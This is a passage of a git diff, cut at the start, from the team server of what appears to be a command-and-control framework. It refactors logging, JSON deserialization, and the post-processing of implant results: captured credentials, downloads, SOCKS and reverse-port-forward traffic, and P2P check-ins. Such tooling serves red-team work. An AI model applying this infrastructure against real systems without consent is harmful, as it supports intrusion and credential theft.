b/TeamServer/Services/HardHatHub.cs index 31032721..bf1b1560 100644 --- a/TeamServer/Services/HardHatHub.cs +++ b/TeamServer/Services/HardHatHub.cs @@ -149,7 +149,12 @@ public async Task CreateReconCenterProperty(string entityName, ReconCent { DatabaseService.ConnectDb(); } - ReconCenterEntity_DAO entityToUpdate = DatabaseService.AsyncConnection.Table().Where(x => x.Name == entityName).ToListAsync().Result[0]; + //var tempList = DatabaseService.AsyncConnection.Table().Where(x => x.Name == entityName).ToListAsync(); + //foreach (var item in tempList.Result) + //{ + // Console.WriteLine(item.Name); + //} + ReconCenterEntity_DAO entityToUpdate = DatabaseService.AsyncConnection.Table().Where(x => x.Name == entityName).ToListAsync().Result.FirstOrDefault(); //we do this so the list can grow otherwise we would only be able to store one property in the database List entitiesProperties = entityToUpdate.Properties.ProDeserializeForDatabase>(); entitiesProperties.Add(reconCenterProperty); diff --git a/TeamServer/Services/LoggingService.cs b/TeamServer/Services/LoggingService.cs index 98a948d7..40b003b1 100644 --- a/TeamServer/Services/LoggingService.cs +++ b/TeamServer/Services/LoggingService.cs @@ -1,15 +1,23 @@ using Microsoft.AspNetCore.Routing.Constraints; +using Microsoft.AspNetCore.Routing.Template; using Newtonsoft.Json.Linq; +using Newtonsoft.Json; using Serilog; using Serilog.Core; using Serilog.Events; using Serilog.Expressions; +using Serilog.Formatting; using Serilog.Formatting.Json; using Serilog.Templates; +using Serilog.Parsing; using System; using System.IO; using System.Reflection; +using System.Text.Json; using TeamServer.Services.Extra; +using System.Text; +using Serilog.Sinks.File; +using Microsoft.Extensions.Logging; namespace TeamServer.Services { @@ -38,12 +46,17 @@ public static void Init() logDirectory = Directory.CreateDirectory(pathSplit[0] + "logs"); } LogFolderPath = pathSplit[0] + "logs"; - EventLogger = new LoggerConfiguration().WriteTo.File(new ExpressionTemplate( - "{ {Timestamp: ToUtc(@t), Message: @m, Level: @l, @x, ..@p} }\n", nameResolver: dateTimeFunctions ),$"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Event_log.json").CreateLogger(); - - - TaskLogger = new LoggerConfiguration().WriteTo.File(new ExpressionTemplate( - "{ {Timestamp: ToUtc(@t), Message: @m, Level: @l, @x, ..@p} }\n", nameResolver: dateTimeFunctions), $"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Task_log.json").CreateLogger(); + //EventLogger = new LoggerConfiguration().WriteTo.File(new ExpressionTemplate( + // "{ {Timestamp: ToUtc(@t), Message: @m, Level: @l, @x, ..@p} }\n", nameResolver: dateTimeFunctions ),$"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Event_log.json").CreateLogger(); + + + //TaskLogger = new LoggerConfiguration().WriteTo.File(new ExpressionTemplate( + // "{ {Timestamp: ToUtc(@t), Message: @m, Level: @l, @x, ..@p} }\n", nameResolver: dateTimeFunctions), $"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Task_log.json").CreateLogger(); + + var expressionTemplate = new ExpressionTemplate("{ {Timestamp: ToUtc(@t), Message: @m, Level: @l, @x, ..@p} }\n", nameResolver: dateTimeFunctions); + + EventLogger = new LoggerConfiguration().WriteTo.File(new IndentedJsonTextFormatter(expressionTemplate),$"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Event_log.json").CreateLogger(); + TaskLogger = new LoggerConfiguration().WriteTo.File(new IndentedJsonTextFormatter(expressionTemplate),$"{pathSplit[0] + "logs"}{allPlatformPathSeperator}Task_log.json").CreateLogger(); EventLogger.Information("Logging Service Started"); TaskLogger.Information("Logging Service Started"); @@ -80,8 +93,27 @@ public static void ToPretty() File.WriteAllText($"{filename}_pretty.json", prettyJson); } } + } + + public class IndentedJsonTextFormatter : ITextFormatter + { + private readonly ExpressionTemplate _expressionTemplate; + public IndentedJsonTextFormatter(ExpressionTemplate expressionTemplate) + { + _expressionTemplate = expressionTemplate; + } + public void Format(LogEvent logEvent, TextWriter output) + { + using (var stringWriter = new StringWriter()) + { + _expressionTemplate.Format(logEvent, stringWriter); + var json = JObject.Parse(stringWriter.ToString()); + output.WriteLine(json.ToString(Formatting.Indented)); + } + } } + } diff --git a/TeamServer/Utilities/Engineer_TaskPostProcess.cs b/TeamServer/Utilities/Engineer_TaskPostProcess.cs index 8fdaaf2e..ed6c0b4b 100644 --- a/TeamServer/Utilities/Engineer_TaskPostProcess.cs +++ b/TeamServer/Utilities/Engineer_TaskPostProcess.cs @@ -9,6 +9,7 @@ using System.Text; using System.Threading.Tasks; using TeamServer.Models; +using TeamServer.Models.Engineers.TaskResultTypes; using TeamServer.Models.Extras; using TeamServer.Services; using TeamServer.Services.Handle_Implants; @@ -28,7 +29,7 @@ public static async Task PostProcess_CredTask(EngineerTaskResult result) { var CredsList = new List(); - var capturedCreds = CapturedCredential.ParseCredentials(result.Result.Deserialize()); + var capturedCreds = CapturedCredential.ParseCredentials(result.Result.Deserialize().Message); // for each credential in the list of captured credentials convert it to a Cred object, where CapturedCredential.Type is the Cred.Type and the Cred.Value is either the CapturedCredential Hash,Password, or ticket depending on type foreach (var cred in capturedCreds) { @@ -68,7 +69,7 @@ public static async Task PostProcess_DownloadTask(EngineerTaskResult result,stri List parts = new List(); //take result.Results, find each occureance of PARTS and everything before that until the next occurance of PARTS and add it to the parts list - var partTest = result.Result.Deserialize(); + var partTest = result.Result.Deserialize().Message; while (partTest.Contains("PARTS")) { var partIndex = partTest.IndexOf("PARTS"); @@ -141,7 +142,7 @@ public static async Task PostProcess_SocksTask(EngineerTaskResult result) //if result.Id is socksConnected then split the incoming result string into an array and element 1 is the client unique string and we need to update the Proxy.SocksDestinationConnected if (result.Command.Equals("SocksConnect", StringComparison.CurrentCultureIgnoreCase)) { - string resultString = result.Result.Deserialize(); + string resultString = result.Result.Deserialize().Message; var socksConnected = resultString.Split(new[] { "\n" }, StringSplitOptions.None); //element 1 in the array matches a key in the SocksDestinationConnected dictionary update the value to true //find the Proxy item in the HttpmanagerController dictionary that matches the socksConnected[1] key @@ -155,7 +156,7 @@ public static async Task PostProcess_SocksTask(EngineerTaskResult result) else if (result.Command.Equals("socksReceive", StringComparison.CurrentCultureIgnoreCase)) { var socks_client_length = BitConverter.ToInt32(result.Result.Take(4).ToArray()); - var socks_client = result.Result.Skip(4).Take(socks_client_length).ToArray().Deserialize(); + var socks_client = result.Result.Skip(4).Take(socks_client_length).ToArray().Deserialize().Message; var socks_content = result.Result.Skip(4 + socks_client_length).Take(result.Result.Length - (4 + socks_client_length)).ToArray(); //Console.WriteLine($"teamserver received {socks_content.Length} bytes from {socks_client}"); @@ -176,7 +177,7 @@ public static async Task PostPorcess_RPortForward(EngineerTaskResult result) //if result.Id is rportsend take the result.Result and split it at the new line and element 0 is the data and element 1 is the guid if (result.Id.Equals("rportsend", StringComparison.CurrentCultureIgnoreCase)) { - var split = result.Result.Deserialize().Split(new[] { "\n" }, StringSplitOptions.None); + var split = result.Result.Deserialize().Message.Split(new[] { "\n" }, StringSplitOptions.None); byte[] temp = Convert.FromBase64String(split[0]); //split 0 is the data split 1 is the guid string client = split[1]; //Console.WriteLine($"teamserver received {temp.Length} bytes from {client}"); @@ -187,7 +188,7 @@ public static async Task PostPorcess_RPortForward(EngineerTaskResult result) public static async Task PostProcess_P2PFirstCheckIn(EngineerTaskResult result, Engineer HttpEng) { - string[] resultArray = result.Result.Deserialize().Split('\n'); + string[] resultArray = result.Result.Deserialize().Message.Split('\n'); //this is the metadata stored in the result string from the p2p implant string Base64Metadata = resultArray[0]; string parentId = resultArray[1]; diff --git a/TeamServer/Utilities/Seralization.cs b/TeamServer/Utilities/Seralization.cs index edd68e27..d372ef0f 100644 --- a/TeamServer/Utilities/Seralization.cs +++ b/TeamServer/Utilities/Seralization.cs @@ -71,10 +71,35 @@ public static byte[] ProSerialiseForDatabase(this T data) public static T Deserialize(this byte[] data) { + string json = null; try { - //Console.WriteLine(Encoding.UTF8.GetString(data)); - return JsonSerializer.Deserialize(data); + json = Encoding.UTF8.GetString(data); + //Console.WriteLine(json); + if (data.Length > 0) + { + if (IsValidJson(json)) + { + JsonSerializerOptions jsonSerializerOptions = new JsonSerializerOptions(); + jsonSerializerOptions.AllowTrailingCommas = true; + return JsonSerializer.Deserialize(data, jsonSerializerOptions); + } + else if (typeof(T) == typeof(string)) + { + //json.Trim('"'); + return (T)(object)json; + } + else + { + Console.WriteLine("Input data is not a valid JSON & is not a normal string, returning default value"); + return default(T); + } + } + else + { + return default(T); + } + } catch (Exception ex) { @@ -85,6 +110,19 @@ public static T Deserialize(this byte[] data) } } + private static bool IsValidJson(string json) + { + try + { + using var doc = JsonDocument.Parse(json); + return true; + } + catch + { + return false; + } + } + public static T ProDeserializeForDatabase(this byte[] data) { try